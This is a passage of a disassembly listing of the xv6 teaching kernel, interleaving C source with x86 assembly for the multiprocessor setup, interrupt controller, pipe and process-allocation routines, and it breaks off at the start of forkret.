80 movzbl 0x80000413,%edx 80102fb1: c1 e0 08 shl $0x8,%eax 80102fb4: 09 d0 or %edx,%eax 80102fb6: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80102fb9: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 80102fbe: ba 00 04 00 00 mov $0x400,%edx 80102fc3: e8 48 ff ff ff call 80102f10 <mpsearch1> 80102fc8: 85 c0 test %eax,%eax 80102fca: 89 c7 mov %eax,%edi 80102fcc: 0f 84 22 01 00 00 je 801030f4 <mpinit+0x174> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80102fd2: 8b 77 04 mov 0x4(%edi),%esi 80102fd5: 85 f6 test %esi,%esi 80102fd7: 0f 84 30 01 00 00 je 8010310d <mpinit+0x18d> conf = (struct mpconf*) P2V((uint) mp->physaddr); 80102fdd: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax if(memcmp(conf, "PCMP", 4) != 0) 80102fe3: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102fea: 00 80102feb: c7 44 24 04 1d 73 10 movl $0x8010731d,0x4(%esp) 80102ff2: 80 80102ff3: 89 04 24 mov %eax,(%esp) conf = (struct mpconf*) P2V((uint) mp->physaddr); 80102ff6: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80102ff9: e8 c2 12 00 00 call 801042c0 <memcmp> 80102ffe: 85 c0 test %eax,%eax 80103000: 0f 85 07 01 00 00 jne 8010310d <mpinit+0x18d> if(conf->version != 1 && conf->version != 4) 80103006: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax 8010300d: 3c 04 cmp $0x4,%al 8010300f: 0f 85 0b 01 00 00 jne 80103120 <mpinit+0x1a0> if(sum((uchar*)conf, conf->length) != 0) 80103015: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax for(i=0; i<len; i++) 8010301c: 85 c0 test %eax,%eax 8010301e: 74 21 je 80103041 <mpinit+0xc1> sum = 0; 80103020: 31 c9 xor %ecx,%ecx for(i=0; i<len; i++) 80103022: 31 d2 xor %edx,%edx 80103024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 80103028: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx 8010302f: 80 for(i=0; i<len; i++) 80103030: 83 c2 01 add $0x1,%edx sum += addr[i]; 80103033: 01 d9 add %ebx,%ecx for(i=0; i<len; i++) 80103035: 39 d0 cmp %edx,%eax 80103037: 7f ef jg 80103028 <mpinit+0xa8> if(sum((uchar*)conf, conf->length) != 0) 80103039: 84 c9 test %cl,%cl 8010303b: 0f 85 cc 00 00 00 jne 8010310d <mpinit+0x18d> struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103041: 8b 45 e4 mov -0x1c(%ebp),%eax 80103044: 85 c0 test %eax,%eax 80103046: 0f 84 c1 00 00 00 je 8010310d <mpinit+0x18d> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 8010304c: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax ismp = 1; 80103052: bb 01 00 00 00 mov $0x1,%ebx lapic = (uint*)conf->lapicaddr; 80103057: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010305c: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx 80103063: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax 80103069: 03 55 e4 add -0x1c(%ebp),%edx 8010306c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103070: 39 c2 cmp %eax,%edx 80103072: 76 1b jbe 8010308f <mpinit+0x10f> 80103074: 0f b6 08 movzbl (%eax),%ecx switch(*p){ 80103077: 80 f9 04 cmp $0x4,%cl 8010307a: 77 74 ja 801030f0 <mpinit+0x170> 8010307c: ff 24 8d 5c 73 10 80 jmp *-0x7fef8ca4(,%ecx,4) 80103083: 90 nop 80103084: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103088: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010308b: 39 c2 cmp %eax,%edx 8010308d: 77 e5 ja 80103074 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 8010308f: 85 db test %ebx,%ebx 80103091: 0f 84 93 00 00 00 je 8010312a <mpinit+0x1aa> panic("Didn't find a suitable machine"); if(mp->imcrp){ 80103097: 80 7f 0c 00 cmpb $0x0,0xc(%edi) 8010309b: 74 12 je 801030af <mpinit+0x12f> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010309d: ba 22 00 00 00 mov $0x22,%edx 801030a2: b8 70 00 00 00 mov $0x70,%eax 801030a7: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801030a8: b2 23 mov $0x23,%dl 801030aa: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 801030ab: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801030ae: ee out %al,(%dx) } } 801030af: 83 c4 1c add $0x1c,%esp 801030b2: 5b pop %ebx 801030b3: 5e pop %esi 801030b4: 5f pop %edi 801030b5: 5d pop %ebp 801030b6: c3 ret 801030b7: 90 nop if(ncpu < NCPU) { 801030b8: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 801030be: 83 fe 07 cmp $0x7,%esi 801030c1: 7f 17 jg 801030da <mpinit+0x15a> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030c3: 0f b6 48 01 movzbl 0x1(%eax),%ecx 801030c7: 69 f6 b0 00 00 00 imul $0xb0,%esi,%esi ncpu++; 801030cd: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030d4: 88 8e 80 27 11 80 mov %cl,-0x7feed880(%esi) p += sizeof(struct mpproc); 801030da: 83 c0 14 add $0x14,%eax continue; 801030dd: eb 91 jmp 80103070 <mpinit+0xf0> 801030df: 90 nop ioapicid = ioapic->apicno; 801030e0: 0f b6 48 01 movzbl 0x1(%eax),%ecx p += sizeof(struct mpioapic); 801030e4: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 801030e7: 88 0d 60 27 11 80 mov %cl,0x80112760 continue; 801030ed: eb 81 jmp 80103070 <mpinit+0xf0> 801030ef: 90 nop ismp = 0; 801030f0: 31 db xor %ebx,%ebx 801030f2: eb 83 jmp 80103077 <mpinit+0xf7> return mpsearch1(0xF0000, 0x10000); 801030f4: ba 00 00 01 00 mov $0x10000,%edx 801030f9: b8 00 00 0f 00 mov $0xf0000,%eax 801030fe: e8 0d fe ff ff call 80102f10 <mpsearch1> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103103: 85 c0 test %eax,%eax return mpsearch1(0xF0000, 0x10000); 80103105: 89 c7 mov %eax,%edi if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103107: 0f 85 c5 fe ff ff jne 80102fd2 <mpinit+0x52> panic("Expect to run on an SMP"); 8010310d: c7 04 24 22 73 10 80 movl $0x80107322,(%esp) 80103114: e8 47 d2 ff ff call 80100360 <panic> 80103119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(conf->version != 1 && conf->version != 4) 80103120: 3c 01 cmp $0x1,%al 80103122: 0f 84 ed fe ff ff je 80103015 <mpinit+0x95> 80103128: eb e3 jmp 8010310d <mpinit+0x18d> panic("Didn't find a suitable machine"); 8010312a: c7 04 24 3c 73 10 80 movl $0x8010733c,(%esp) 80103131: e8 2a d2 ff ff call 80100360 <panic> 80103136: 66 90 xchg %ax,%ax 80103138: 66 90 xchg %ax,%ax 8010313a: 66 90 xchg %ax,%ax 8010313c: 66 90 xchg %ax,%ax 8010313e: 66 90 xchg %ax,%ax 80103140 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103140: 55 push %ebp 80103141: ba 21 00 00 00 mov $0x21,%edx 80103146: 89 e5 mov %esp,%ebp 80103148: b8 ff ff ff ff mov $0xffffffff,%eax 8010314d: ee out %al,(%dx) 8010314e: b2 a1 mov $0xa1,%dl 80103150: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103151: 5d pop %ebp 80103152: c3 ret 80103153: 66 90 xchg %ax,%ax 80103155: 66 90 xchg %ax,%ax 80103157: 66 90 xchg %ax,%ax 80103159: 66 90 xchg %ax,%ax 8010315b: 66 90 xchg %ax,%ax 8010315d: 66 90 xchg %ax,%ax 8010315f: 90 nop 80103160 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103160: 55 push %ebp 80103161: 89 e5 mov %esp,%ebp 80103163: 57 push %edi 80103164: 56 push %esi 80103165: 53 push %ebx 80103166: 83 ec 1c sub $0x1c,%esp 80103169: 8b 75 08 mov 0x8(%ebp),%esi 8010316c: 8b 5d 0c mov 0xc(%ebp),%ebx struct pipe *p; p = 0; *f0 = *f1 = 0; 8010316f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103175: c7 06 00 00 00 00 movl $0x0,(%esi) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010317b: e8 d0 db ff ff call 80100d50 <filealloc> 80103180: 85 c0 test %eax,%eax 80103182: 89 06 mov %eax,(%esi) 80103184: 0f 84 a4 00 00 00 je 8010322e <pipealloc+0xce> 8010318a: e8 c1 db ff ff call 80100d50 <filealloc> 8010318f: 85 c0 test %eax,%eax 80103191: 89 03 mov %eax,(%ebx) 80103193: 0f 84 87 00 00 00 je 80103220 <pipealloc+0xc0> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80103199: e8 f2 f2 ff ff call 80102490 <kalloc> 8010319e: 85 c0 test %eax,%eax 801031a0: 89 c7 mov %eax,%edi 801031a2: 74 7c je 80103220 <pipealloc+0xc0> goto bad; p->readopen = 1; 801031a4: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801031ab: 00 00 00 p->writeopen = 1; 801031ae: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801031b5: 00 00 00 p->nwrite = 0; 801031b8: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801031bf: 00 00 00 p->nread = 0; 801031c2: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801031c9: 00 00 00 initlock(&p->lock, "pipe"); 801031cc: 89 04 24 mov %eax,(%esp) 801031cf: c7 44 24 04 70 73 10 movl $0x80107370,0x4(%esp) 801031d6: 80 801031d7: e8 64 0e 00 00 call 80104040 <initlock> (*f0)->type = FD_PIPE; 801031dc: 8b 06 mov (%esi),%eax 801031de: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 801031e4: 8b 06 mov (%esi),%eax 801031e6: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 801031ea: 8b 06 mov (%esi),%eax 801031ec: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 801031f0: 8b 06 mov (%esi),%eax 801031f2: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 801031f5: 8b 03 mov (%ebx),%eax 801031f7: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 801031fd: 8b 03 mov (%ebx),%eax 801031ff: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103203: 8b 03 mov (%ebx),%eax 80103205: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80103209: 8b 03 mov (%ebx),%eax return 0; 8010320b: 31 db xor %ebx,%ebx (*f1)->pipe = p; 8010320d: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 80103210: 83 c4 1c add $0x1c,%esp 80103213: 89 d8 mov %ebx,%eax 80103215: 5b pop %ebx 80103216: 5e pop %esi 80103217: 5f pop %edi 80103218: 5d pop %ebp 80103219: c3 ret 8010321a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*f0) 80103220: 8b 06 mov (%esi),%eax 80103222: 85 c0 test %eax,%eax 80103224: 74 08 je 8010322e <pipealloc+0xce> fileclose(*f0); 80103226: 89 04 24 mov %eax,(%esp) 80103229: e8 e2 db ff ff call 80100e10 <fileclose> if(*f1) 8010322e: 8b 03 mov (%ebx),%eax return -1; 80103230: bb ff ff ff ff mov $0xffffffff,%ebx if(*f1) 80103235: 85 c0 test %eax,%eax 80103237: 74 d7 je 80103210 <pipealloc+0xb0> fileclose(*f1); 80103239: 89 04 24 mov %eax,(%esp) 8010323c: e8 cf db ff ff call 80100e10 <fileclose> } 80103241: 83 c4 1c add $0x1c,%esp 80103244: 89 d8 mov %ebx,%eax 80103246: 5b pop %ebx 80103247: 5e pop %esi 80103248: 5f pop %edi 80103249: 5d pop %ebp 8010324a: c3 ret 8010324b: 90 nop 8010324c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103250 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103250: 55 push %ebp 80103251: 89 e5 mov %esp,%ebp 80103253: 56 push %esi 80103254: 53 push %ebx 80103255: 83 ec 10 sub $0x10,%esp 80103258: 8b 5d 08 mov 0x8(%ebp),%ebx 8010325b: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010325e: 89 1c 24 mov %ebx,(%esp) 80103261: e8 ca 0e 00 00 call 80104130 <acquire> if(writable){ 80103266: 85 f6 test %esi,%esi 80103268: 74 3e je 801032a8 <pipeclose+0x58> p->writeopen = 0; wakeup(&p->nread); 8010326a: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax p->writeopen = 0; 80103270: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 80103277: 00 00 00 wakeup(&p->nread); 8010327a: 89 04 24 mov %eax,(%esp) 8010327d: e8 fe 0a 00 00 call 80103d80 <wakeup> } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103282: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 80103288: 85 d2 test %edx,%edx 8010328a: 75 0a jne 80103296 <pipeclose+0x46> 8010328c: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 80103292: 85 c0 test %eax,%eax 80103294: 74 32 je 801032c8 <pipeclose+0x78> release(&p->lock); kfree((char*)p); } else release(&p->lock); 80103296: 89 5d 08 mov %ebx,0x8(%ebp) } 80103299: 83 c4 10 add $0x10,%esp 8010329c: 5b pop %ebx 8010329d: 5e pop %esi 8010329e: 5d pop %ebp release(&p->lock); 8010329f: e9 7c 0f 00 00 jmp 80104220 <release> 801032a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&p->nwrite); 801032a8: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax p->readopen = 0; 801032ae: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801032b5: 00 00 00 wakeup(&p->nwrite); 801032b8: 89 04 24 mov %eax,(%esp) 801032bb: e8 c0 0a 00 00 call 80103d80 <wakeup> 801032c0: eb c0 jmp 80103282 <pipeclose+0x32> 801032c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi release(&p->lock); 801032c8: 89 1c 24 mov %ebx,(%esp) 801032cb: e8 50 0f 00 00 call 80104220 <release> kfree((char*)p); 801032d0: 89 5d 08 mov %ebx,0x8(%ebp) } 801032d3: 83 c4 10 add $0x10,%esp 801032d6: 5b pop %ebx 801032d7: 5e pop %esi 801032d8: 5d pop %ebp kfree((char*)p); 801032d9: e9 02 f0 ff ff jmp 801022e0 <kfree> 801032de: 66 90 xchg %ax,%ax 801032e0 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 801032e0: 55 push %ebp 801032e1: 89 e5 mov %esp,%ebp 801032e3: 57 push %edi 801032e4: 56 push %esi 801032e5: 53 push %ebx 801032e6: 83 ec 1c sub $0x1c,%esp 801032e9: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 801032ec: 89 1c 24 mov %ebx,(%esp) 801032ef: e8 3c 0e 00 00 call 80104130 <acquire> for(i = 0; i < n; i++){ 801032f4: 8b 4d 10 mov 0x10(%ebp),%ecx 801032f7: 85 c9 test %ecx,%ecx 801032f9: 0f 8e b2 00 00 00 jle 801033b1 <pipewrite+0xd1> 801032ff: 8b 4d 0c mov 0xc(%ebp),%ecx while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 80103302: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 80103308: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 8010330e: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103314: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103317: 03 4d 10 add 0x10(%ebp),%ecx 8010331a: 89 4d e0 mov %ecx,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 8010331d: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 80103323: 81 c1 00 02 00 00 add $0x200,%ecx 80103329: 39 c8 cmp %ecx,%eax 8010332b: 74 38 je 80103365 <pipewrite+0x85> 8010332d: eb 55 jmp 80103384 <pipewrite+0xa4> 8010332f: 90 nop if(p->readopen == 0 || myproc()->killed){ 80103330: e8 5b 03 00 00 call 80103690 <myproc> 80103335: 8b 40 24 mov 0x24(%eax),%eax 80103338: 85 c0 test %eax,%eax 8010333a: 75 33 jne 8010336f <pipewrite+0x8f> wakeup(&p->nread); 8010333c: 89 3c 24 mov %edi,(%esp) 8010333f: e8 3c 0a 00 00 call 80103d80 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103344: 89 5c 24 04 mov %ebx,0x4(%esp) 80103348: 89 34 24 mov %esi,(%esp) 8010334b: e8 a0 08 00 00 call 80103bf0 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103350: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103356: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010335c: 05 00 02 00 00 add $0x200,%eax 80103361: 39 c2 cmp %eax,%edx 80103363: 75 23 jne 80103388 <pipewrite+0xa8> if(p->readopen == 0 || myproc()->killed){ 80103365: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010336b: 85 d2 test %edx,%edx 8010336d: 75 c1 jne 80103330 <pipewrite+0x50> release(&p->lock); 8010336f: 89 1c 24 mov %ebx,(%esp) 80103372: e8 a9 0e 00 00 call 80104220 <release> return -1; 80103377: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 8010337c: 83 c4 1c add $0x1c,%esp 8010337f: 5b pop %ebx 80103380: 5e pop %esi 80103381: 5f pop %edi 80103382: 5d pop %ebp 80103383: c3 ret while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103384: 89 c2 mov %eax,%edx 80103386: 66 90 xchg %ax,%ax p->data[p->nwrite++ % PIPESIZE] = addr[i]; 80103388: 8b 4d e4 mov -0x1c(%ebp),%ecx 8010338b: 8d 42 01 lea 0x1(%edx),%eax 8010338e: 81 e2 ff 01 00 00 and $0x1ff,%edx 80103394: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 8010339a: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 8010339e: 0f b6 09 movzbl (%ecx),%ecx 801033a1: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 801033a5: 8b 4d e4 mov -0x1c(%ebp),%ecx 801033a8: 3b 4d e0 cmp -0x20(%ebp),%ecx 801033ab: 0f 85 6c ff ff ff jne 8010331d <pipewrite+0x3d> wakeup(&p->nread); //DOC: pipewrite-wakeup1 801033b1: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801033b7: 89 04 24 mov %eax,(%esp) 801033ba: e8 c1 09 00 00 call 80103d80 <wakeup> release(&p->lock); 801033bf: 89 1c 24 mov %ebx,(%esp) 801033c2: e8 59 0e 00 00 call 80104220 <release> return n; 801033c7: 8b 45 10 mov 0x10(%ebp),%eax 801033ca: eb b0 jmp 8010337c <pipewrite+0x9c> 801033cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801033d0 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 801033d0: 55 push %ebp 801033d1: 89 e5 mov %esp,%ebp 801033d3: 57 push %edi 801033d4: 56 push %esi 801033d5: 53 push %ebx 801033d6: 83 ec 1c sub $0x1c,%esp 801033d9: 8b 75 08 mov 0x8(%ebp),%esi 801033dc: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 801033df: 89 34 24 mov %esi,(%esp) 801033e2: e8 49 0d 00 00 call 80104130 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 801033e7: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 801033ed: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 801033f3: 75 5b jne 80103450 <piperead+0x80> 801033f5: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 801033fb: 85 db test %ebx,%ebx 801033fd: 74 51 je 80103450 <piperead+0x80> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 801033ff: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 80103405: eb 25 jmp 8010342c <piperead+0x5c> 80103407: 90 nop 80103408: 89 74 24 04 mov %esi,0x4(%esp) 8010340c: 89 1c 24 mov %ebx,(%esp) 8010340f: e8 dc 07 00 00 call 80103bf0 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103414: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 8010341a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103420: 75 2e jne 80103450 <piperead+0x80> 80103422: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103428: 85 d2 test %edx,%edx 8010342a: 74 24 je 80103450 <piperead+0x80> if(myproc()->killed){ 8010342c: e8 5f 02 00 00 call 80103690 <myproc> 80103431: 8b 48 24 mov 0x24(%eax),%ecx 80103434: 85 c9 test %ecx,%ecx 80103436: 74 d0 je 80103408 <piperead+0x38> release(&p->lock); 80103438: 89 34 24 mov %esi,(%esp) 8010343b: e8 e0 0d 00 00 call 80104220 <release> addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103440: 83 c4 1c add $0x1c,%esp return -1; 80103443: b8 ff ff ff ff mov $0xffffffff,%eax } 80103448: 5b pop %ebx 80103449: 5e pop %esi 8010344a: 5f pop %edi 8010344b: 5d pop %ebp 8010344c: c3 ret 8010344d: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < n; i++){ //DOC: piperead-copy 80103450: 8b 55 10 mov 0x10(%ebp),%edx if(p->nread == p->nwrite) 80103453: 31 db xor %ebx,%ebx for(i = 0; i < n; i++){ //DOC: piperead-copy 80103455: 85 d2 test %edx,%edx 80103457: 7f 2b jg 80103484 <piperead+0xb4> 80103459: eb 31 jmp 8010348c <piperead+0xbc> 8010345b: 90 nop 8010345c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi addr[i] = p->data[p->nread++ % PIPESIZE]; 80103460: 8d 48 01 lea 0x1(%eax),%ecx 80103463: 25 ff 01 00 00 and $0x1ff,%eax 80103468: 89 8e 34 02 00 00 mov %ecx,0x234(%esi) 8010346e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax 80103473: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 80103476: 83 c3 01 add $0x1,%ebx 80103479: 3b 5d 10 cmp 0x10(%ebp),%ebx 8010347c: 74 0e je 8010348c <piperead+0xbc> if(p->nread == p->nwrite) 8010347e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 80103484: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 8010348a: 75 d4 jne 80103460 <piperead+0x90> wakeup(&p->nwrite); //DOC: piperead-wakeup 8010348c: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 80103492: 89 04 24 mov %eax,(%esp) 80103495: e8 e6 08 00 00 call 80103d80 <wakeup> release(&p->lock); 8010349a: 89 34 24 mov %esi,(%esp) 8010349d: e8 7e 0d 00 00 call 80104220 <release> } 801034a2: 83 c4 1c add $0x1c,%esp return i; 801034a5: 89 d8 mov %ebx,%eax } 801034a7: 5b pop %ebx 801034a8: 5e pop %esi 801034a9: 5f pop %edi 801034aa: 5d pop %ebp 801034ab: c3 ret 801034ac: 66 90 xchg %ax,%ax 801034ae: 66 90 xchg %ax,%ax 801034b0 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801034b0: 55 push %ebp 801034b1: 89 e5 mov %esp,%ebp 801034b3: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034b4: bb 54 2d 11 80 mov $0x80112d54,%ebx { 801034b9: 83 ec 14 sub $0x14,%esp acquire(&ptable.lock); 801034bc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801034c3: e8 68 0c 00 00 call 80104130 <acquire> 801034c8: eb 11 jmp 801034db <allocproc+0x2b> 801034ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034d0: 83 eb 80 sub $0xffffff80,%ebx 801034d3: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 801034d9: 74 7d je 80103558 <allocproc+0xa8> if(p->state == UNUSED) 801034db: 8b 43 0c mov 0xc(%ebx),%eax 801034de: 85 c0 test %eax,%eax 801034e0: 75 ee jne 801034d0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801034e2: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 801034e7: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->state = EMBRYO; 801034ee: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; 801034f5: 8d 50 01 lea 0x1(%eax),%edx 801034f8: 89 15 04 a0 10 80 mov %edx,0x8010a004 801034fe: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 80103501: e8 1a 0d 00 00 call 80104220 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103506: e8 85 ef ff ff call 80102490 <kalloc> 8010350b: 85 c0 test %eax,%eax 8010350d: 89 43 08 mov %eax,0x8(%ebx) 80103510: 74 5a je 8010356c <allocproc+0xbc> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103512: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; 80103518: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 8010351d: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103520: c7 40 14 25 54 10 80 movl $0x80105425,0x14(%eax) p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 80103527: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 8010352e: 00 8010352f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103536: 00 80103537: 89 04 24 mov %eax,(%esp) p->context = (struct context*)sp; 8010353a: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 8010353d: e8 2e 0d 00 00 call 80104270 <memset> p->context->eip = (uint)forkret; 80103542: 8b 43 1c mov 0x1c(%ebx),%eax 80103545: c7 40 10 80 35 10 80 movl $0x80103580,0x10(%eax) return p; 8010354c: 89 d8 mov %ebx,%eax } 8010354e: 83 c4 14 add $0x14,%esp 80103551: 5b pop %ebx 80103552: 5d pop %ebp 80103553: c3 ret 80103554: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103558: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010355f: e8 bc 0c 00 00 call 80104220 <release> } 80103564: 83 c4 14 add $0x14,%esp return 0; 80103567: 31 c0 xor %eax,%eax } 80103569: 5b pop %ebx 8010356a: 5d pop %ebp 8010356b: c3 ret p->state = UNUSED; 8010356c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 80103573: eb d9 jmp 8010354e <allocproc+0x9e> 80103575: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103580 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 80103580: 55 push 